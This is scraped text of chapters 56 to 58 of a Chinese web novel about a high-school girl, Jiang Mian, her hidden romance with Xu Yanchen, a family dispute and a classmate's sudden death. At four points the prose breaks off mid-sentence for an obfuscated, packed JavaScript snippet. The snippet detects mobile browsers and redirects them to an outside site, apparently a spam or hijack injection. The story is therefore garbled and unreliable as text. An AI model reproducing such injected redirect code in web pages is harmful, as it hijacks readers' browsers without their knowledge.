“我跟她说了,除非她死,不然想都别想。可谁知道她还真的死了,你说这是不是苍天……” 一个清脆的巴掌声打断了后面所有不堪入耳的话,“离婚,我要跟你这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465542|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒妇离婚!” “你说什么?你要跟我离婚?”孟虹又开始尖叫,“你敢跟我离婚吗?现在这个时候,你舍得抛开自己苦心经营的一切,跟我离婚落得一个抛妻弃子的名声吗?” 许国安气极了,任由她发疯拼命拉拽,抬脚直奔门外走。 他要逃离这个令他窒息,让他喘不过来气的家。 可是刚踏出门,他就愣住了。 门外走廊上,少女的双眼在黑夜中赤红的可怕,她浑身僵直,一动不动看着浑身上下尽显狼狈的他们。 良久,她嘴唇翕动:“为……为什么?” 为什么她要跟妈妈说那样的话? 为什么她说妈妈是许叔叔的小情人? 为什么她要那样诅咒妈妈? 为什么要让她听见,为什么非得是今天,为什么…… 整个别墅恢复光明。 客厅沙发上,两人各坐两端,窝在沙发角落的女孩儿抿紧唇,脸色苍白,宽阔空间内还回荡着孟虹摔门而出的回音。 许国安低着头,伏着身子手肘撑在膝盖上,脸色也不怎么好看,“小姜啊,这事儿是我对不起你,还有你妈。” 他说完安静了很久,另一头的人好像才回过神来,姜绵哆嗦着嘴唇,看向他的眼睛里蓄了泪:“我就想知道,您和我妈妈到底是什么关系?” 印象中,妈妈和爸爸一直都很恩爱,她也从来没听妈妈提起过其他男人。 她只是奇怪,两个阶级相差甚异的人是怎么认识的,又为什么看上去一副羁绊不浅的样子。 但是无论怎样,姜绵永远不会怀疑的是,她的妈妈绝对不会做错误的事情。 纸终究是包不住火,何况这件事本身也没什么好隐瞒,许国安看向茶几上摆放着的手机,仿佛陷入了一段绵长的回忆里,“我和你妈妈的事,还要从二十几年前说起。” 那时候的他,不过也才二十出头,家境贫寒,没人能为他的壮志凌云提供阶梯,走投无路只能去外地寻求机会。 可成功哪儿有那么简单,由于年少经验不足,他不是被骗就是在被骗的路上,不仅钱没赚到,连积蓄都差点儿被耗光。 创业又一次失败的某天晚上,他带着身上仅存的钱款游走在大街,遇到了飞车党,可不论车上的人再怎么拖拽,他都死死抱着包不肯松手。 全身在地上摩擦,火辣辣的疼,正当他以为这条命都要丢在异乡的时候,碰巧遇上刚下班的女工人,也就是她妈妈,慌忙追着用随身带着的剪子,剪断了包带,才能捡回命和钱。 能在一个完全不熟的城市,遇到肯热心肠帮助自己的人,那种感觉难以想象。特别是在知道她跟自己是同乡的时候,突然觉得这一切应该都是命中注定。 他们互相照拂,互相扶持,他事业刚刚有了起色,可她却收到家里人电话,要回去结婚。 他没挽留,也挽留不了。 再提起往事,许国安已经释怀:“你妈妈对我而言,是救命恩人。” 他乡遇新知,岂能易忘怀。 他能帮就帮,就当还清故人的恩情,别无他想。 56. 寒冬 想了很多种情况,姜绵都没有想到过妈妈和许叔叔竟然有这样一段过去。 故事里的那个她和妈妈那张温柔的脸重叠,姜绵晶莹的眼眶变得一阵柔软,她慢慢抬眼看向许国安,眼底排斥稍退。 “您真的要和孟阿姨离婚吗?” 许国安愣了一下,言辞闪躲:“你孟阿姨做的事是有些过分,伤害到了你,伤害到了你妈妈,我给你们家道歉,还请原谅她。” “不是这个的问题。”她现在头脑清醒了些,说话很直白,“孟阿姨说的那些话顶多只能气气我,我妈妈问心无愧不会在意她说的那些话。” “是,是这样,是我太狭隘。” 姜绵看着一直低着头不敢看自己的男人,才明白孟虹为什么会说他不敢离婚。 孟虹的无理取闹只求她自己一时舒坦,看似是在主动寻求安全感,其实不过是把本就岌岌可危的婚姻往悬崖下推。 幻想通过伤害别人而来保全自己,到最后受伤害最深的也会是自己,愚昧又无知,这么久了姜绵只觉得她可悲。 而许国安,她从前一直把他当妈妈的朋友,一个帮助他们家的长辈看待,现在才发觉自己先入为主,对他的滤镜太大了。 说到底,他是个商人,感情什么的对他而言远不及事业重要。 所以,他可以把视若无睹说成没注意,把漠不关心说成工作太忙。一次次的逃避也不是疲于应付,而是从头到尾根本就不想去应付。 许言琛或许早就知道了这些,即使从小不在他们身边,依旧选择用最伤害自己的方法想挽救这个家。 可很显然,他失败了,不仅没能圆回这个家,还就这样放纵自己越陷越深。 现在他好不容易愿意主动走出来,姜绵不想他又被这些事情影响。 “您和孟阿姨的事,我是外人,对我来说无关紧要。可这个家早就不止你们两个人,许言琛是您亲儿子,还有最后一年,再不济,您也该为他打算打算。” 姜绵知道以自己的身份说这些不合适,不等人回答,从沙发上起身她直奔楼上。 直到弱弱的关门声响起,楼下沙发上的男人才慢慢抬起头,看向不远处的一地狼藉,思绪万千。 * 这个暑假以姜绵的视角来看,过得很充实。 但以许言琛的视角看,却有些糟糕。 他做的所有小计划被一些突如其来的事情给打乱。 宋爷爷老了,面馆一个人经营有些力不从心,租在学校附近的房子也到了期,光是找房子搬家都耗了他近一个月的时间。 等他打点好一切,又到了开学时间。 这还不是最主要的,重要的是,他最近好像被姜绵给冷落了。 高三时间紧张,好不容易迎来一个来之不易的课间休息时间,他刚想趁着这点儿时间增进一下感情,就有人跳出来捣乱。 “姜绵,能给我讲解一下这道题吗?”前桌的女生转身,眼神哀求,手里还拿着今早刚发的物理试卷。 练习册上还剩最后一道大题,姜绵收了笔,先接过她手里的试卷,扫了一眼题目,开始耐心讲解起来。 他还没来得及说话,就这样完完全全被她给忽视了。 许言琛来了劲儿,忍着没出声打扰她们,谁让他刚表白完就放着人不管。 但相比她出声责怪他骂他,许言琛更害怕的是现在这种情况,她冷静到让他心慌。 放学的时候,姜绵才发现他情绪不对。 她一边收拾书包一边看向旁边坐着不动的人,出声询问:“放学了,你不走吗?” 刚说完,她就收到了少年幽怨的眼神,许言琛侧过头看她,声音低低的:“你是不是不喜欢我了?” 他说这话把姜绵吓了一跳,她一把捂住他的嘴,环视了圈四周,发现没人听见才慢慢松了手。 她沉下声,像是警告:“有什么事出了学校再说。” 许言琛身体一僵,而后一声不吭开始收拾起书包。 见他乖乖安静下来,姜绵瞬间松了口气,又继续整理自己的东西,然而没多久,她就听见身旁一道不轻不重的吸鼻声。 她手一顿,回忆起刚才。 是自己刚刚说的话太重了吗? 出了教室,姜绵一直不近不远跟在许言琛身后。 靠太近不好,隔太远也不行,她在心里丈量距离。反观少年只是闷着声往前走,步子不算太大,像是在刻意等着谁。 初秋的夜晚夹杂着风吹的沙沙声,突起的凉意让人忍不住瑟缩了一下脖子。 姜绵看着他直挺孤落的背影,理智和情感在脑子里打架,最后一闭眼还是追了上去。 走近了才发现,许言琛面无表情嘴唇却绷的很直,他垂着眼,敛下了眼底所有的情绪。 姜绵看着他这幅样子心脏抽痛了一下,想起刚刚他问自己的那个问题,她再也管不得其他的了,在夜色中精准找到他的手,牵了上去,讨好似的晃了晃。 可被牵着的人像是没感受到般,毫无反应,自顾自往前走,步调却放的更慢了点儿。 “真生气了啊?” 她撅了撅嘴,说着就要松开手,却被人猛地一把抓住。 许言琛捏了捏她的手,深吸了一口气,侧过脸看她:“没生你气,我是生我自己的气。” “为什么?” “暑假的时候,没来得及顾得上你,不生气吗?” 姜绵摇了摇头,一边说话一边注意着周围的情况:“暑假我除了刷题就是睡觉,我也没顾得上你,再说了,我们不是每天都发信息吗?” 每天都发信息…… 许言琛想着一天固定的“早安”,“晚安”,偶尔跟她报备情况,她也只是淡淡回应。 越想越委屈,他拉着人停了下来,“不一样,发信息哪儿有见面好。” 姜绵第一次谈恋爱,也不知道怎么哄人,她还是头一次哄男生:“没关系嘛,现在开学了,我们不是就能天天见面了吗?” 想起最近在学校,他撇了撇嘴:“可是你在学校都不理我。” 都这样了,还说没生她的气。 姜绵被堵的说不出话,她在学校是刻意跟他保持距离,那是因为她怕被老师和其他同学发现后,影响不好。 思索了一会儿,她盯着那张写满了“不满”的脸,妥协道:“那好吧,以后在学校我多理理你。” “不行。” “怎么了?” 少年回绝干脆,姜绵不解看着他,这已经是自己做的最大的让步了,还有问题吗? 她一直望着他,好一会儿,许言琛才开口说:“还要牵手。” 许言琛谈起恋爱来跟以前简直是判若两人,幼稚得跟小朋友一样,连带着那张深邃冷厉的脸都变得可爱起来。 姜绵忍住想揉他脸的冲动,被他捏在手心的手改为和他掌心相扣,她举起来在他眼前晃了晃:“这不是牵着吗?” 他终于弯了弯唇,但很快又给抿直,牵着她大剌剌往校外走:“那以后上学放学都牵。” 他都这样说了,姜绵能有什么办法,谁惹的谁哄,但“行”字刚说了一半,她又突然想起了什么。 边走边回头望,她语气焦急:“你的自行车还在学校。” 不知怎的,听到这话许言琛忽然想起之前她在篮球馆被人给欺负,在公交车上哭的伤心也没忘了他的自行车,跟今天如出一辙。 他笑了笑,只管拉着她往公交站走:“骑自行车怎么牵你?回去了又要跟我装不熟。” 以前怎么没发现他这么记仇,不过听他这么说,姜绵一边开心一边跟他解释:“我不是怕被许叔叔他们发现了嘛。” 想到什么,姜绵抱住他的胳膊,整个人靠了上去,公交车站没什么人,她干脆又蹭了蹭。 “怎么了?”察觉到她的反常,许言琛低下头看她,却看见她轻轻晃了晃脑袋。 姜绵低着头,听着街上时不时有车流穿过的声音,想着最近许家发生的一切。 那晚争吵过后,孟虹再也没有回过许家,虽然两人没离婚,却也只是名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他咬牙切齿喊:“你们少吃点,我今天还想加餐呢!” 事实证明,他说的话根本没人听。 不仅卡里钱没了,程渡看着全是素菜的餐盘,直接坐在餐椅上撒泼打滚起来:“你们太过分了!我就想吃点儿肉,这让我过的什么苦日子啊!” 他一哭二闹三上吊也没用,对面几人都安安静静吃着饭,唯一一个抬眼用怜悯眼神看他的人,也很快被旁边人给哄着吃饭,简直让他没眼看。 果然最脆弱的就是友谊,程渡拍桌狂骂:“简直是虐狗!呸,我连狗都不如,学校保安养那狗还天天给它吃肉呢!” 陈思彤跟他坐一排椅子,被他时不时的大动作晃得不行,她深呼一口气,拿起筷子从自己餐盘里给他夹肉。 “来来来,姐姐给你夹肉。” 程渡满怀感激看向她,谢字才说一半,看见她筷间比豌豆还小的肉沫,笑容僵在脸上。 陈思彤把精挑细选的肉沫放在他的大白米饭上,看着他抛了个媚眼:“乖,别闹了,下饭吃吧昂。” “好好好,你们就这样对待这顿饭的金主。”他算是彻底看清了,拿起筷子在桌上用力戳了几下,程渡埋头大口刨起饭。 那什么,见好就收,再闹下去肉就凉了。 看他没出息那样儿,陈思彤斜了他一眼,抬手夹了一筷子肉沫准备往嘴里塞,桌对面突然“哐啷”一声,吓得她手一抖,肉沫撒了一桌。 “这叫什么,恶有恶报!”程渡指着她笑不过来气。 “不是张滔,你怎么回……”抬头看见对面人脸色不佳,陈思彤追责的话卡在了喉咙里。 一旁小动作打情骂俏的两人也停下来动作,朝他看过去,许言琛离他最近,出声问:“怎么了?” 张滔转头看向两人,刚刚还浓情蜜意的两人此刻都看着他,他拿起桌上的手机却没递给他们:“许哥,贴吧里,姜绵她……” 他说话吞吐,许言琛没耐心直接从他手里夺过了手机,一目十行看清上面的内容,他眼底一冷,脸色突变。 最近风平浪静太久,果然又开始兴风作浪。 57. 资助 一桌人看了手机后,脸色都很差。 感觉到四周若有若无有视线朝她投来,姜绵从兜里拿出手机准备查看,一旁有人突然伸手拦住了她的动作。 姜绵愣了一下,侧头朝人看。 “别看了。”许言琛周身的气压有些低,语气却很温柔,“先吃饭。” 虽然不知道发生了什么,但以每个人的表现来看,姜绵知道一定是不是一件好事,起码对她来讲是这样。 她乖乖收了手机,垂头吃着饭,无视掉所有来自四面八方的注视。 可一直到吃完饭回教室的路上,姜绵看着把自己团团围住的几人,终于忍不住:“其实,你们没必要这个样子。” 程渡时不时往四周张望,像在执行任务的间谍,义正辞严:“不行,保护姜小绵人人有责!” 她无奈:“难不成以后你们天天都这样?”就算他们愿意,她也经受不住啊。 “而且,你们不觉得这样更显眼了吗?” 说的有些道理。 几人聚的快,散的也快,理了理衣服并排站好,忽然都有些不自在,小心翼翼往一路沉默的少年身上看。 程度突然想起他们在书店表明关系的那天,每个人脸上有惊讶、喜悦,唯独没有的就是意外。 他从没见许哥对谁这么上过心。 删帖、打架、公然维护,甚至到现在没日没夜的学习,累到周末偶尔去看书店的时候,趴在收银台一睡几乎都是一整天,醒来时还惦记着没解完的那道题。 所以到了现在,许哥一步步够到自己想要的,他一点儿也不嫉妒,反而很钦佩他。 这个世界从不缺为所愿付诸行动的人,但却很少人能得偿所愿,只是因为太少人能行走在荆棘密布的路上还仍旧选择坚持,他也不例外。 年少时期的友谊难得可贵,程渡很珍惜,这辈子他没什么志向,唯一希望的就是身边的真心朋友能一路顺遂。 这次这件事传开了,姜小绵性子好,想的开,明明是他们当中最小的,却比几人都要成熟,可能会觉得没什么。 可许哥不行,他一直是个认死理的,肯定会钻牛角尖。 气氛凝重,程渡没办法,拉着旁边两人就走:“姜小绵,许哥,我们仨有问题探讨,先走了。” 这件事跟他们三个人终究是没关系,只能让他们两人单独说开。 陈思彤和张滔都懂,一句话没说就跟着他离开了。 他们离开后,过路人的打量越来越明目张胆,甚至带起了一些窃窃私语。 姜绵通通回望回去,发现他们对她的眼神格外友好,还带着些说不上来的意味,弄得她一头雾水。 跟在身侧的少年依旧垂着头沉默不语,她越来越好奇贴吧里的内容,干脆放慢脚步溜了下去。 刚拿出手机心虚抬头,正好和他回头寻找的眼神撞了个正着,姜绵立马背过手,讪讪:“我看看时间……” 最后一个字气息还没放稳,她忽的被他拽走。 许言琛浑身上下被低气压给笼罩,眉宇间压抑着怒气,拽着她手的动作却放的很轻。 看出他心情不好,姜绵一路都没说话,即使校园小道上人来来往往,她任由他拉着她进了体育馆。 今天的体育馆出乎意料的冷清。 往常这个时间点热闹的篮球场,此刻竟一个人也没有。 看台处空空荡荡,许言琛拉着她坐到最后一排,手却没有放开。 姜绵挠了挠他的掌心,凑到他面前笑着逗他:“怎么啦,这么不高兴,笑一个。” 许言琛终于弯了弯唇角,牵着她的手揣进自己的外套口袋,垂着眼睫看她:“喜欢你。” 他说的认真,姜绵心跳猛的漏了一拍,好久都没反应过来。 见她愣住,许言琛笑意蔓延至眼底。 他向来不是一个喜欢直白表达感情的人,可到了这个时候,他看着她,只想对她说这些。 姜绵回过神,突然不敢看他,后知后觉的羞涩:“怎么想起说这个?” 他却没答,只是笑了笑,说:“看一下手机。” 他这样说,姜绵知道他是同意让她看贴吧里的内容了。 好奇心驱使下,她没有过多犹豫,单手打开手机点进贴吧里,看了很久,她也只是在刚开始的时候愣了一下。 她看得越久,兜里牵着她的手就收的越紧,许言琛时时刻刻都在注意着她的表情,好像很紧张。 看的差不多了,姜绵关了手机,转过头看着他笑容明媚:“不让我看就因为这个吗?没什么的,采访不是你陪我去的吗,我能承受它带来的一切后果。” 虽然不知道为什么这个采访拖了这么久才放出来,但很显然,时机对她来说并不是问题。 早晚都是要面对,她不是很在意。 她反常的平静,许言琛眉眼漆黑,直直看着她:“你知道我不高兴不是因为这个。” 姜绵知道,她当然知道,他不高兴的是那段采访的后面,出现了许国安的画面。 他不高兴的是,许国安不声不响拿她当资源置换,让她从寄住在许家,变成了许家资助她,落得了一个慈善家的好名声。 就算是看见了,知道了,姜绵也还是不在意。 什么人从她身上取走什么,有没有跟她打声招呼,她不关心。 因为她本身就所剩无几,有人觉得她有价值,那就尽管拿去用吧,说不定她还能找到一丝丝的存在感。 她明明想劝自己这样想,可脑海却不断闪过贴吧里面对她和许言琛关系的评定。 资助者和被资助者,姜绵忽然觉得有些难堪,低下头不去看他。 可没一会儿,就感觉到下巴上多了一道钳制,轻轻的,掰过她的脸。 许言琛强迫她看自己,像是看透了她在想什么,语气不容置喙:“我们的关系,轮不到其他人来评判。” “他是他,我是我,你从来不是用来估价的商品,姜绵,我会永远保护你。” 姜绵听着他的话,忽然就红了眼眶,兜里的手慢慢改为和他十指相扣,她说:“还记得之前有次在这里,你为我动手打了人,学校罚你念检讨,你却不管不顾说要保护我的话。” “那时候我就在想,人和人之间怎么能做到这样毫无保留,想不通的时候还怀疑过你是不是对我有所图谋。” 他失笑:“没错,就是对你有所图谋。” 姜绵很惊讶他的坦诚,睁大了眼:“原来你从那时候就……” 许言琛耸了耸肩,诚实得可怕:“从那时候我就喜欢你,但你傻乎乎说把我当哥哥,我还伤心了好几天,怀疑是不是自己太没魅力了。” 他说完,姜绵疑惑了声,蹙起眉努力回忆着,怎么也没想起来自己说过这句话。 她认真思考的样子比平时还要可爱几分,长长的睫毛下垂着,在眼睑处投下一片阴影,白嫩的脸颊两侧鼓了又鼓,这是她想事情时下意识的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538833|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小动作。 任她怎么想,许言琛低下头轻笑,揣在兜里的手一下一下揉捻着她的指尖。 以前怎么样已经不重要了。 重要的是,他的未来,会和她一起。 这个结论,让他日夜兴奋,畅快淋漓。 * 回去的时候,教室不知道为什么一片混乱。 前排靠窗的桌子倒在地上,书散了一地,旁边的人坐在座位上,有些惊魂未定。 姜绵坐回位置,看着不远处熟悉地方的一片狼藉,问起周围人:“发生了什么?” 前桌的女生转过身看她,话语中带着惊恐:“刚刚吕佳佳突然一下晕倒了,整个人一点儿反应都没有,脸色煞白,吓死人了。” 姜绵呆滞了一下,脑海里的面孔和女生刚刚说的名字对上,后知后觉开始担心。 整个教室现在都在议论着这件事,不知道听谁说的已经送去了医务室,姜绵才放下心来,以为只是普通的低血糖。 直到晚课前,教导主任走进教室,手里没有拿书,低着头站在讲台上,反常的沉默。 姜绵看向已经被整理好却依旧空着的位置,心中顿感不好。 理科一班也在这个时候,安静的不能再安静,大家都看着讲台上的人,似乎还抱有一丝希望。 良久,那道憔悴沧桑的声音响起,彻底击碎幻想,给那道生命下了最后的判决,班上还是很安静,大家都好像还没缓过神来。 他们都不明白,为什么他们以为的低血糖晕倒会变成家族遗传心脏病,轻易夺走了同学的生命。 姜绵也不明白,她甚至有些无力,想瘫软在课桌上,可她在许言琛藏在课桌下安慰似的轻抚中缓过神来,挺直了背眼神又开始涣散。 那天后,教导主任自请降职,说是他第一时间没能了解学生情况,保障学生安全的工作不到位。 这件事的热度一段时间内彻底盖过了资助的事,放在她身上的关注变少了,姜绵却并没感到轻松。 没多久,班上一切如旧,那个属于吕佳佳的位置一直空在了那儿,大家好像忘了她,又或许是故意闭口不谈。 难得的周五,姜绵推了程渡他们约的聚餐,放学后一个人跑到了天台。 跨过一堆破烂书桌,她坐在装有高高护栏的边缘,抬头看向一望无际的蓝天,鬼使神差想起了体测那天。 也是跟今天一样的好天气,白云蓝天相映衬,她拉着吕佳佳的手,一同冲过了终点。 想起了高中的最后一次运动会,她坐在花坛边躲太阳,正巧碰上吕佳佳笑着伸手分享她手里的瓜子,而她却摇了摇头拒绝了。 也想起了无数擦肩而过时,她们笑着点头问好,在她心里,她们已经是朋友了。 她看着不着边际的天空,心情倏然沉重。 记得那天,还是理科一班的班主任跟他们说,要替吕佳佳实现她的愿望,好好学习,考上京大。 想到这里,姜绵微微出神,突然感到愿望这个词有了更具象的体现。 从前觉得什么都可以的她,现在好像有了更加明确的目标。 正思索着,身后传来铁门“嘎吱”被打开的声响。 这栋楼的天台荒废了很久,一般不会有谁来,也是因此姜绵才选择来这儿。 听到动静,她心下愕然一瞬,但在转过头看清来人的刹那间,她却不自主弯起了唇。 一切好像在这一刻,都开始变得有迹可循。 58. 不速之客 依旧是那道略显聒噪的声音。 “哟,来看看,我们在天台上面找到了谁!” 吆喝完这句,程渡先一步他们,越过地面上堆积的破烂书桌,将举在手里的DV往坐在护栏边的少女脸上怼,语气要多浮夸有多浮夸:“铛铛!当然是我们锦一中当之无愧的美女大学霸——姜小绵同学!” 姜绵被他给逗笑,她侧头看向坐在自己身侧的几人,眼尾柔柔下垂:“你们怎么来了?” “来来来,大家都看这里。” 程渡在远处挥着手指挥着位置,没等姜绵反应过来,陈思彤直接一把揽过她,冲着镜头边摆姿势边说:“还不是程渡,不知道从哪儿淘了个相机,非得让我们找个视野好的地方。” 顺着她说的话,姜绵向楼的四周看,这栋楼并不是最高点,周围除了楼还是楼,他们被围在了教学楼中间,只有一碧如洗的蓝天尚可入眼。 很显然,怎么看这里都不像是视野最好的地方。 姜绵没说话,只是在“一日摄影师”不厌其烦各种找角度的时候,伸手搭上她的肩,面向镜头,笑容灿烂。 今天的各位好像都有些心事重重。 唯独程渡精力出奇的旺盛,刚拍完照片,他翻身坐上护栏边,张口又朝旁边众人讲了几个不冷不热的笑话。 每讲完一个,他都笑得前仰后合,直到最后他拿出压箱底的笑话,几人虽然都侧头看着他,脸上却丝毫没有动容。 一个两个是失误,但三个四个…… 程渡咂咂嘴,果断选择放弃,“OK,我想我应该先去报个笑话补习班。” 说完这句,沉闷的空气中突然有人“扑哧”一声笑了出来。 程渡黯淡下去的眼睛瞬间亮了起来,他佝着腰急急找寻笑声来源,最终把目光放在了两人之隔正捂嘴笑的少女身上。 他打了个响指指向她,“怎么样,是不是很好笑。” 姜绵笑着摆手:“刚刚那句蛮好笑的。” 报补习班那句。 她确实笑的很开心,不像是为了给他鼓励,程渡说了句有品味后,一切又归于安静。 他们五个待在一起,很少会有这么安静的时候。 吵吵闹闹是幸福,平平淡淡也是幸福。 他们并排坐着,双手撑在身侧,晃着腿,仰头迎接着落日余晖。 姜绵也跟着他们一起,望着已经有些泛黄的天,察觉到旁边一道视线直勾勾落在她身上。 很久都没有挪开,也从头到尾没有说一句话。 他从一开始进来,好像就没有过什么情绪表达。 她开口先破了冰:“大家以后有想去的地方吗?” 她问的是大家。 许言琛看了眼她仰头一瞬不变的神情,修长白冷的手指压下她被风带起的裙角,撤走目光。 “去哪儿吗?”也许是为了报一笑之恩,程渡回应得最积极,“其实去哪儿都行,离家近更好,我妈还挺舍不得我走远了。” “我也差不多,离家近也方便。” 他俩说完,陈思彤叹了一口气:“那我可能得反着来了,我之前答应过要跟着姜宝当她保镖,姜宝去京大,我肯定也要跟着去。” “谢谢大宝。”姜绵俯身抱住她,“这样我更离不开你了。” 陈思彤摸了摸怀里的脑袋:“姜宝想好以后学什么了吗?” 之前她一直以为学霸都会有自己的规划,未来热趋也好,兴趣爱好也好,应该总有想选的专业。 可不久前她问过姜宝一次,怎么也没想到她的回答会是不知道。 她说自己考高分并不是奔着某个具体目标去的,而是希望自己能有更多的选择权。 不管什么事,她都不喜欢等待被选择。 听到她问这个,姜绵从她怀里起身,眼神闪闪:“之前总是很迷茫,但今天我想好了,我想去京大的医学院。” 许言琛怔了下,压着裙角的指尖一蜷,淡淡垂下眸。 “医学好啊,当医生救死扶伤。” “我们姜宝这么优秀,做什么都能成功。” 彩霞铺满了整片天,笼在他们头顶,整个世界都变成暖黄色的基调。 他们并肩感叹着朝夕的神奇变化,将美不胜收的景色揽进相册。 姜绵听着他们赞叹的惊呼,微微仰头,闭眼感受着寒冬里的一丝暖意。 不用只言片语,更无需多言,朋友的陪伴就是最好的疗心剂。 在保安叔叔下班之前,他们跟在一行打扫完卫生的同学后面出了学校。 上了公交,车上没什么人,很安静。 这份安静一直延续到了下车后,一下车姜绵就松了手,才睁眼还有些恍惚,她往前迈的步子一虚。 “小心。” 被人从身后扶了一把,姜绵瞬间就清醒了,“谢谢。” 许言琛垂下手,站在她身侧低头看她:“没事,毕竟某人用完我就丢也不是一次两次了。” 姜绵知道他说的是什么。 每次一上车她都靠着他睡着,下车后又毫不留情跟他拉开距离。 这也没办法,无论是上学也好放学也好,只要一下车她就得进入戒备,他们这恋爱谈在风口浪尖,小心一点准没错。 “别不高兴啦,明天放假,我们可以一整天都待在一起。” 她小心挪近歪头看他,笑起来眼睛弯成月牙状,“去公园怎么样?” 高档小区一向冷清,他们住的地方地段也不繁华。 有钱人的通病,在外厌倦了热闹,回到家就想清净一些。 一路都没什么人,不过她想谨慎,许言琛也都由着她来。 动作极小剐蹭了一下她白净的脸庞,他笑意浅浅:“都好。” “和你待在一起,干什么都行。” 他漆黑的眼睛一转不转盯着她,里面什么都有,唯独没有欺骗。 不知为何,她经受不住这样的视线,姜绵正过脸看着前路漫漫,鬼使神差道:“你会去京大吗?” 几秒后,她听见他轻笑了一声,心跳顿时缓了几分。刚刚在天台没问他,不是忘记,而是不太敢。 她没有那么自私想要捆住他,或许他有自己的想法,有自己的目标,不一定得去京大。 总之,无论他的回答是什么,她都应该全盘接受。 耳边响起了那道清冽的声音,许言琛说:“京大有个专业很适合我。” “什么专业?”她没听他提起过。 “动物医学。” “对吼!”她拍了下手,不知道是为他选这个专业兴奋,还是为他会去京大而兴奋。 “你那么喜欢小动物,这个专业真的很适合你。” 她一直碎碎念着这些,许言琛听着突然停下了脚步。 等她发觉后回头看他,他看着那张小而精致的脸沾染上了喜悦的颜色,翕动嘴唇。 他声音有些干涩:“那你呢,为什么突然想学医?” 闻言,姜绵怔愣了一下,她垂下眼睫,表情变得有些空白。 没等她回答,他接着说:“是因为吕佳佳。” 许言琛说的甚至不是疑问句。 他很清楚,从吕佳佳离开那天起,她的情绪开始变得很不对劲。 特别是从某一天开始,下课后只要有空闲时间,她总是望着那个空位置发呆,有时他喊了她好几次,也总是得不到她的回应。 她好像把自己困在了一个逼仄空间内,拒绝接受所有的外来信号。 姜绵垂着的长睫颤了一下,再抬头,她看着一米远的少年,袒露脆弱:“阿许,我可以抱你吗?” 她说着挪动了一下脚步,却见他先大步走来,扣着她的后脑勺将她拥进怀里。 仅仅一秒钟,她便落入了一个带着暖意的怀抱。 姜绵伸手环住少年劲瘦的腰,感受他埋头,呼吸落在耳畔。 他身上的清橘香总让她心安,往他怀里拱了拱,她不知不觉把闷在心里的事说了出来。 “她觉得我是一个好人。前几天,她的同桌跟我说,之前吕佳佳告诉她,我是一个好人。” “惊诧之余,我愣了很久,不知道她为什么会这样说,也不知道她怎么得出的这个结论。” “她说,是体测那天,我不仅拉着她一起跑,还在登记成绩的时候,让她站在了前面。” 那天的场景还历历在目,她想着这些连说话都在抖:“可明明那天,她也有拉着我跑。我让她排前面,是因为倒数第一和倒数第二对我来说没什么区别。” “可就是这些连我自己都没注意的事,对她来说却有不一样的意义。” “太多人从我身边离开了,然而阿许,我总是救不了他们。” 她在他怀里无声流着泪,眼泪一颗一颗从下巴上滴落。 “没关系。” 许言琛曲着指节替她勾走眼尾的泪,像哄小孩儿一样拍着她的背,声音柔的不能再柔:“我们小姜同学,以后会很厉害。” 他知道小姑娘的脾气,什么事都藏着掖着自己独自消化。 正因如此,他很感激她今天肯跟自己说这么多。 无论何时,他从不逼迫她事事会与他讲,但是偶尔也希望,她能把他当成能够依靠的那个人。 就算当他是树洞,也没关系,许言琛想。 他很乐意倾听,帮她排忧解难。 * 一模前,锦一中组织了百日誓师大会。 姜绵被选为优秀学生代表上台讲话,除此外,今年还多了一位励志学生代表—— 那就是成绩一路坐飞机上升,从倒数逆袭到理科一班,堪称一中奇迹的许言琛。 他接在姜绵后面上了主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575435|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席台,两人擦肩相视一笑的画面,让操场爆发了不绝于耳的欢呼声。 两人的关系在学校早就不言而喻,就算他们竭力隐藏,却仍然遮不住那些下意识的小互动。 灰姑娘和王子的故事谁不喜欢。 贴吧里早就嗑疯了。 演讲台上的话筒被人拿起,电流的滋滋声一瞬而过,杂音过后是少年低磁的声音:“各位同学,上午好,我是理科一班的许言琛。” 说完他停了下,等如潮般的掌声渐灭,眯眼一扫宽阔的操场,继续道:“很荣幸能再一次站在这里讲话,毕竟上次站在这里还是因为念检讨。” 台下一片笑声,姜绵才站回班级队伍,听到这话也抬头朝他笑。 “我想大家对我怎么做到成绩突飞猛进的事不感兴趣,只是很多人好奇为什么,这也是我站在这里的原因。” 许言琛没拿稿子,却做到脱稿流利,吐字清晰。大家好像确实对这件事很感兴趣,都自觉安静了下来 